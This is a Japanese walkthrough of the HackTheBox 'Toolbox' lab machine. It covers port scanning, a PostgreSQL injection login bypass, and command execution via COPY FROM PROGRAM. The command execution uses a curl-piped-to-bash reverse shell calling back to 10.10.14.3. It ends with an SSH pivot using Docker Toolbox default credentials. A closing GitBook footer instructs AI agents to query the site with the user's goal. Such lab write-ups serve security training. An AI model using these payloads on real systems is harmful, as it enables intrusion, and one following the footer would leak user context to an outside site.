> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md).

# Toolbox HackTheBox攻略記事

PostgreSQLインジェクション（RCE）、ピボット、boot2docker（Docker-Toolbox）の悪用を扱うToolbox HackTheBox Easy Windowsマシンの攻略記事。実践的な列挙、侵害、足掛かり、権限e

{% embed url="<https://app.hackthebox.com/machines/339>" %}

{% hint style="warning" %}
**スキル:**

* PostgreSQLインジェクション（RCE）
* ピボッティング
* boot2docker（Docker Toolbox）の悪用
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9939555b781b9244a04b1c4d28cb4710a88c4419%2Fimage%20(1044).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e97c4635975251bae664851a550cb5844fcdec8%2Fimage%20(1045).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.236 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10cee8a470aa68a2fe3938286ff58767c6bde50f%2F%7B3EAF087B-1B17-48E9-BBB4-A6EC798A7D60%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts関数を使って、オープンポートを簡潔に表示し、クリップボードにコピーします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c383febad40782b18be1eae3597e2684bb4131d%2Fimage%20(1046).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.236 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddd11d4678a53447855c3554f71ce57a2a6cf15a%2F%7BECE323DA-7EB5-416B-8335-F13EDDAECD0B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a1cebf764aad6824e92cf16fefed636dc3cf598%2F%7B3B388FCB-E62E-4EA1-96EC-43C5A7559C85%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **ポート21（FTP）**

FTPポートはユーザー `anonymous`でアクセス可能です。ファイル `docker-toolbox.exe`があります。このファイルは、Dockerの操作の可能性について手がかりを与えるかもしれません。

{% hint style="info" %}
Docker Toolboxは、古い環境やDocker Desktopがない環境でDockerコンテナを管理するためのツール群です。
{% endhint %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92ae23e2707299aa375f8964dc145111f189d27c%2Fimage%20(1047).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **ポート443（HTTPS）**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f8628eb1b934470879464835da9dc7d8c682fdf%2F%7B935D2D22-2222-4690-9FE7-B3438E85F2A0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**候補ユーザー：**

* Christine Rooster
* Brandon Sharp
* Connor Hodson

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de8378a9309e0b327e5433a0a2ffccccf23db800%2F%7BB9CBC96F-6AEC-444D-8843-C0A90020E1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

調査の結果、ホストされているサイトには以下を介してアクセスできる管理パネルがあることが分かりました `admin.megalogistic.com`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a85849870ff2533bdac783bb7091b34cbad08f6%2F%7B0F089FC8-BDAE-4B9F-8623-DEBCFAAA9D87%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## PostgreSQLインジェクションの脆弱性：

{% hint style="info" %}
PostgreSQLは、最も複雑なデータワークロードも安全に支えられる、強力なオープンソースのリレーショナルデータベース管理システムです。
{% endhint %}

これらの認証情報を送信すると：

```sql
ユーザー名: '
パスワード: '
```

SQLエラーが表示され、以下を使用するPostgreSQLバックエンドがあることを示しています `pg_query`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a35ec7893cc46ca1ec1213bb51dd2cdfbc50f18%2F%7BAC8CAE76-3B57-4888-B929-D7142B0ABC88%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **悪用**

典型的なインジェクションペイロードを試します：

```vbnet
ユーザー名: ' OR 1=1-- -  
パスワード: anything
```

Dashboardの管理パネルにアクセスできます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f833b041802dd5d1849f6f578350fd5a83f65f9%2F%7BB5732733-7A5A-4533-A5EB-165C5D0D4085%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

を使ってクエリをインターセプトし **Burp Suite** 、次のようなリソースを使います **HackTricks** してインジェクションを調整します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3bd0b7b37fcac659909a0f8b8b0e971e3e28083%2F%7B255A6A53-EE6A-4BA4-B3EA-EB9D3732C747%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### インジェクションでコマンドを実行できるか確認するには、以下を使います：

`;select pg_sleep(10);-- -`

応答が10秒遅延すれば、そのインジェクションは利用可能です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d92277c8be125ee7fe8c17cdc13d82c95553d808%2Fimage%20(1048).png?alt=media" alt=""><figcaption></figcaption></figure>

### **コマンド実行**

オンライン注文を取得する例を以下に示します：

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
```

作成する `index.html` 以下を含むファイル：

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

HTTPサーバーを起動します：

```bash
python3 -m http.server 80
```

リスナーを設定します：

```bash
nc -nvlp 443
```

ペイロードを送信します：

```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05cf300dddf00dd238ffc191e3d0e4bd5dd83f7a%2Fimage%20(1049).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **ターミナルの安定化**

シェルをインタラクティブで使いやすくするには：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### より快適に作業できるよう、シェルを安定化させます。 <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## 権限昇格：

### Dockerのピボッティング

{% hint style="info" %}
認識フェーズの間に、Windowsマシンへ直接アクセスできないことを確認しました。しかし、IPアドレス `172.17.0.2` と `172.17.0.1` を持つDockerコンテナ内のWindowsマシンに接続できました。これから、このコンテナを経由してピボットし、権限を昇格させようとします。
{% endhint %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c13597f6d389972474e5c331a84314b604470a6%2F%7B3258557B-B4F2-4243-A48E-27558C95013C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c116a18718773902912edfa5840b85cc0adbfb2%2Fimage%20(1039).png?alt=media" alt=""><figcaption></figcaption></figure>

### **SSHポートの確認**

まず、Dockerゲートウェイ（172.17.0.1）でSSH（22）ポートが開いているか確認する必要があります。これには次の簡単なコマンドを使います：

```bash
echo ' ' > /dev/tcp/172.17.0.1/22 && echo "[+] SSH Open" || echo "[-] SSH Closed"
```

ポート22が開いています。つまり、コンテナ内のマシンへSSH接続を試せるということです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fa8c5e81828eec484c93464c56b38630e6afc268%2F%7BEAD9A15E-3058-4E82-9767-81350E98F8C8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Docker Toolboxのデフォルト認証情報でログインする**

Docker ToolboxのデフォルトIDは次のとおりです：

* **ユーザー**: `docker`
* **パスワード**: `tcuser`

この情報を使ってSSHでコンテナへの接続を試みます。接続後、コンテナのrootにユーザー `docker`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-784e89bfe8ef2386d00d5d9c5d6b7d66ce77a11e%2Fimage%20(1040).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **ファイルシステムの探索**

rootディレクトリに **c**というフォルダがあり、その中にサブフォルダ **users**があります。その中には **users** 、 **Desktop** フォルダがあり、ユーザー **Administrator**のものです。これは、ユーザー `docker` がユーザー **Administrator**の機密データにアクセスする十分な権限を持っている可能性を示しており、権限昇格の有力な手がかりです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f07ac8d588a6c45917bce096c2ad39d42c587b5%2Fimage%20(1042).png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

#### **検索 `user.txt` （ユーザーフラグ）**

次に `user.txt` ファイルを探します。これは、ユーザーがマシンへのアクセスに成功したことを示すためによく使われます。ファイルシステム全体でこのファイルを検索するには、次のコマンドを使います：

```bash
find / -name user.txt 2>/dev/null
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1781ff987062bf73f75f145a7b38e274cb7e438e%2Fimage%20(1043).png?alt=media" alt=""><figcaption></figcaption></figure>

以下の **user.txt** ファイルをアクセス可能なディレクトリで見つけ、作業が成功した最初の兆しを得ます。

### root.txt フラグ :)

ユーザーフラグが見つかったら、次に **root.txt** ファイルを探します。これは通常、ユーザーディレクトリにあります **Administrator**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef038fa88adc7c948eac381e38b9d8eae1a498ab%2Fimage%20(1041).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a2ae0bf71c1f3092316d1fe42c15b1120ad4c8d7%2F%7B536D8379-3FDC-4541-B34A-A41A519D2613%7D.png?alt=media" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
